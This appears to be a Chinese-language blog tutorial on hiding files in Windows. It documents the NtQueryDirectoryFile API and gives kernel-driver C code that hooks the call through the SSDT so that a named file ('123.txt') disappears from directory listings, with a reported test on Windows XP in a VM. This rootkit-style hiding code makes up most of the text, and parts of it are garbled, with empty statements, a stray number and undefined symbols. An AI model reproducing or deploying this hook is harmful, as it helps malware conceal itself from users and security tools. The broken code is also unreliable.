hook NtQueryDirectoryFile实现文件隐藏

一、NtQueryDirectoryFile函数功能（NT系列函数）

NtQueryDirectoryFile函数：在一个给定的文件句柄，该函数返回该文件句柄指定目录下的不同文件的各种信息。

根据传入的文件句柄参数fileHandle，返回句柄所表示的目录中的不同文件的信息。

NTSTATUS ZwQueryDirectoryFile(
  _In_      HANDLE FileHandle,
  _In_opt_  HANDLE Event,
  _In_opt_  PIO_APC_ROUTINE ApcRoutine,
  _In_opt_  PVOID ApcContext,
  _Out_     PIO_STATUS_BLOCK IoStatusBlock,
  _Out_     PVOID FileInformation,
  _In_      ULONG Length,
  _In_      FILE_INFORMATION_CLASS FileInformationClass,
  _In_      BOOLEAN ReturnSingleEntry,
  _In_opt_  PUNICODE_STRING FileName,
  _In_      BOOLEAN RestartScan
);

下面就简单说几个重要的参数：

1.FileHandle [in]文件句柄

ZwCreateFile或者ZwOpenFile返回的句柄。

A handle returned by ZwCreateFile or ZwOpenFile for the file object that represents the directory for which information is being requested. The file object must have been opened for asynchronous I/O if the caller specifies a non-NULL value for Event or ApcRoutine.

7.FileInformation [out]

FileInformation是一个指向一个缓冲区的指针。该缓冲区存储关于文件的信息。信息的结构由FileInformationClassparameter定义。就由最后一个参数FileInformationClass决定。所以要先判断这个参数的值是什么呀。

A pointer to a buffer that receives the desired information about the file. The structure of the information returned in the buffer is defined by the FileInformationClassparameter.

8.Length [in] 长度，代表缓冲区的size，以字节大小记录。

The size, in bytes, of the buffer pointed to by FileInformation. The caller should set this parameter according to the given FileInformationClass.

9.FileInformationClass [in]文件信息类

返回的关于在一个目录中的文件的信息类型。它的取值是下表中的一个。

The type of information to be returned about files in the directory. One of the following.

Value	Meaning
FileBothDirectoryInformation	Return a FILE_BOTH_DIR_INFORMATION structure for each file.
FileDirectoryInformation	Return a FILE_DIRECTORY_INFORMATION structure for each file.
FileFullDirectoryInformation	Return a FILE_FULL_DIR_INFORMATION structure for each file.
FileIdBothDirectoryInformation	Return a FILE_ID_BOTH_DIR_INFORMATION structure for each file.
FileIdFullDirectoryInformation	Return a FILE_ID_FULL_DIR_INFORMATION structure for each file.
FileNamesInformation	Return a FILE_NAMES_INFORMATION structure for each file.
FileObjectIdInformation	Return a FILE_OBJECTID_INFORMATION structure for each file. This information class is valid only for NTFS volumes on Windows 2000 and later versions of Windows.
FileReparsePointInformation	Return a single FILE_REPARSE_POINT_INFORMATION structure for the directory.

ReturnSingleEntry [in]

Set to TRUE if only a single entry should be returned, FALSE otherwise. If this parameter is TRUE, ZwQueryDirectoryFile returns only the first entry that is found.

FileName [in, optional]

An optional pointer to a caller-allocated Unicode string containing the name of a file (or multiple files, if wildcards are used) within the directory specified by FileHandle. This parameter is optional and can be NULL.

If FileName is not NULL, only files whose names match the FileName string are included in the directory scan. If FileName is NULL, all files are included.

The FileName is used as a search expression and is captured on the very first call to ZwQueryDirectoryFile for a given handle. Subsequent calls toZwQueryDirectoryFile will use the search expression set in the first call. The FileName parameter passed to subsequent calls will be ignored.

RestartScan [in]

Set to TRUE if the scan is to start at the first entry in the directory. Set to FALSE if resuming the scan from a previous call.

When the ZwQueryDirectoryFile routine is called for a particular handle, the RestartScan parameter is treated as if it were set to TRUE, regardless of its value. On subsequent ZwQueryDirectoryFile calls, the value of the RestartScan parameter is honored.

2.hook  NtQueryDirectoryFile()实现对文件的隐藏

 #include "ntddk.h"

 #pragma pack(1)
 typedef struct ServiceDescriptorEntry {
     unsigned int *ServiceTableBase;
     unsigned int *ServiceCounterTableBase;
     unsigned int NumberOfServices;
     unsigned char *ParamTableBase;
 } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;

 typedef struct _FILE_BOTH_DIR_INFORMATION {
     ULONG           NextEntryOffset;
     ULONG           FileIndex;
     LARGE_INTEGER   CreationTime;
     LARGE_INTEGER   LastAccessTime;
     LARGE_INTEGER   LastWriteTime;
     LARGE_INTEGER   ChangeTime;
     LARGE_INTEGER   EndOfFile;
     LARGE_INTEGER   AllocationSize;
     ULONG           FileAttributes;
     ULONG           FileNameLength;
     ULONG           EaSize;
     CCHAR           ShortNameLength;
     WCHAR           ShortName[];
     WCHAR           FileName[];
 } FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;

 // Our System Call Table
 PVOID* NewSystemCallTable;

 // Our Memory Descriptor List
 PMDL pMyMDL;

 #define HOOK_INDEX(function2hook) *(PULONG)((PUCHAR)function2hook+1)

 #define HOOK(functionName, newPointer2Function, oldPointer2Function )  \
        oldPointer2Function = (PVOID) InterlockedExchange( (PLONG) &NewSystemCallTable[HOOK_INDEX(functionName)], (LONG) newPointer2Function)

 #define UNHOOK(functionName, oldPointer2Function)  \
        InterlockedExchange( (PLONG) &NewSystemCallTable[HOOK_INDEX(functionName)], (LONG) oldPointer2Function)

 NTSYSAPI
 NTSTATUS
 NTAPI ZwQueryDirectoryFile(
   IN  HANDLE FileHandle,
   IN  HANDLE Event OPTIONAL,
   IN  PIO_APC_ROUTINE ApcRoutine OPTIONAL,
   IN  PVOID ApcContext OPTIONAL,
   OUT PIO_STATUS_BLOCK IoStatusBlock,
   OUT PVOID FileInformation,
   IN  ULONG Length,
   IN  FILE_INFORMATION_CLASS FileInformationClass,
   IN  BOOLEAN ReturnSingleEntry,
   IN  PUNICODE_STRING FileName OPTIONAL,
   IN  BOOLEAN RestartScan
   );

 typedef NTSTATUS (__stdcall*  ZWQUERYDIRECTORYFILE)(
   __in  HANDLE FileHandle,
   __in_opt  HANDLE Event OPTIONAL,
   __in_opt  PIO_APC_ROUTINE ApcRoutine OPTIONAL,
   __in_opt  PVOID ApcContext OPTIONAL,
   __out PIO_STATUS_BLOCK IoStatusBlock,
   __out PVOID FileInformation,
   __in  ULONG Length,
   __in  FILE_INFORMATION_CLASS FileInformationClass,
   __in  BOOLEAN ReturnSingleEntry,
   __in  PUNICODE_STRING FileName OPTIONAL,
   __in  BOOLEAN RestartScan
   );

 int  ZwQueryDirectoryFileIndex;//作为ZwQueryDirectoryFileIndex在ssdt索引地址中的相对路径。

 NTSTATUS  __stdcall NewNtQueryDirectoryFile(
   __in  HANDLE FileHandle,
   __in_opt  HANDLE Event ,
   __in_opt  PIO_APC_ROUTINE ApcRoutine,
   __in_opt  PVOID ApcContext OPTIONAL,
   __out PIO_STATUS_BLOCK IoStatusBlock,
   __out PVOID FileInformation,
   __in  ULONG Length,
   __in  FILE_INFORMATION_CLASS FileInformationClass,
   __in  BOOLEAN ReturnSingleEntry,
   __in  PUNICODE_STRING FileName,
   __in  BOOLEAN RestartScan
   )
 {
   NTSTATUS status;
   ANSI_STRING ansiFileName,ansiDirName,HideDirFile;
   UNICODE_STRING uniFileName;
   ZWQUERYDIRECTORYFILE OldZwQueryDirectoryFile;
   int ;
   //测试C盘中的123.txt是否可以被隐藏。
   RtlInitAnsiString(&HideDirFile,"123.txt");
   KdPrint(("hide: NewZwQueryDirectoryFile called."));

   if(MmIsAddressValidEx(OriginalServiceDescriptorTable->ServiceTable[ZwQueryDirectoryFileIndex]))//判断函数的地址是否有效
 {
       OldZwQueryDirectoryFile=OriginalServiceDescriptorTable->ServiceTable[ZwQueryDirectoryFileIndex];
 }
 else
       OldZwQueryDirectoryFile=KeServiceDescriptorTable->ServiceTable[ZwQueryDirectoryFileIndex];

  status = OldZwQueryDirectoryFile (
                   FileHandle,
                   Event,
                   ApcRoutine,
                   ApcContext,
                   IoStatusBlock,
                   FileInformation,
                   Length,
                   FileInformationClass,
                   ReturnSingleEntry,
                   FileName,
                   RestartScan);
  if()
   //这部分是隐藏文件的核心部分
     if(NT_SUCCESS(status)&&FileInformationClass==FileBothDirectoryInformation)
   {
     PFILE_BOTH_DIR_INFORMATION pFileInfo;
     PFILE_BOTH_DIR_INFORMATION pLastFileInfo;
     BOOLEAN bLastOne=FALSE;
     pFileInfo = (PFILE_BOTH_DIR_INFORMATION)FileInformation;
     pLastFileInfo = NULL;
     do
     {
 bLastOne = !( pFileInfo->NextEntryOffset );
 RtlInitUnicodeString(&uniFileName,pFileInfo->FileName);   RtlUnicodeStringToAnsiString(&ansiFileName,&uniFileName,TRUE);
 RtlUnicodeStringToAnsiString(&ansiDirName,&uniFileName,TRUE);

 if( RtlCompareMemory(ansiFileName.Buffer,HideDirFile.Buffer,HideDirFile.Length ) == HideDirFile.Length)
       {
           if(bLastOne)
           {
               pLastFileInfo->NextEntryOffset = ;
               break;
           }
           else //指针往后移动
           {
             int iPos = ((ULONG)pFileInfo) - (ULONG)FileInformation;
             int iLeft = (DWORD)Length - iPos - pFileInfo->NextEntryOffset;
             RtlCopyMemory( (PVOID)pFileInfo, (PVOID)( (char *)pFileInfo + pFileInfo->NextEntryOffset ), (DWORD)iLeft );
             continue;
           }
       }
       pLastFileInfo = pFileInfo;
       pFileInfo = (PFILE_BOTH_DIR_INFORMATION)((char *)pFileInfo + pFileInfo->NextEntryOffset);
     }while(!bLastOne);
     RtlFreeAnsiString(&ansiDirName);
     RtlFreeAnsiString(&ansiFileName);
   }
 goto  _FunctionRet;

 _FunctionRet:

      return   status;
161
 }
  

其中，指针类型变量强化转换为ULONG型变量。

（ULONG）pFileInfo ;//即把地址转化为ULONG型变量。

(ULONG) FileInformation；

那么int  iPos=((ULONG)pFileInfo)- (ULONG) FileInformation;

得到的就是地址偏移值。

int  iLeft=(DWORD)Length-iPos-pFileInfo->NextEntryOffset;

3.上述代码，采用WDK编译。然后再整合到MFC开发的用户界面程序中。

4.在Vmware虚拟机中，操作系统是Windows XP，做测试。

5.发现在点击XX.exe之后，C盘中的123.txt就消失不见。说明对123.txt的文件隐藏成功。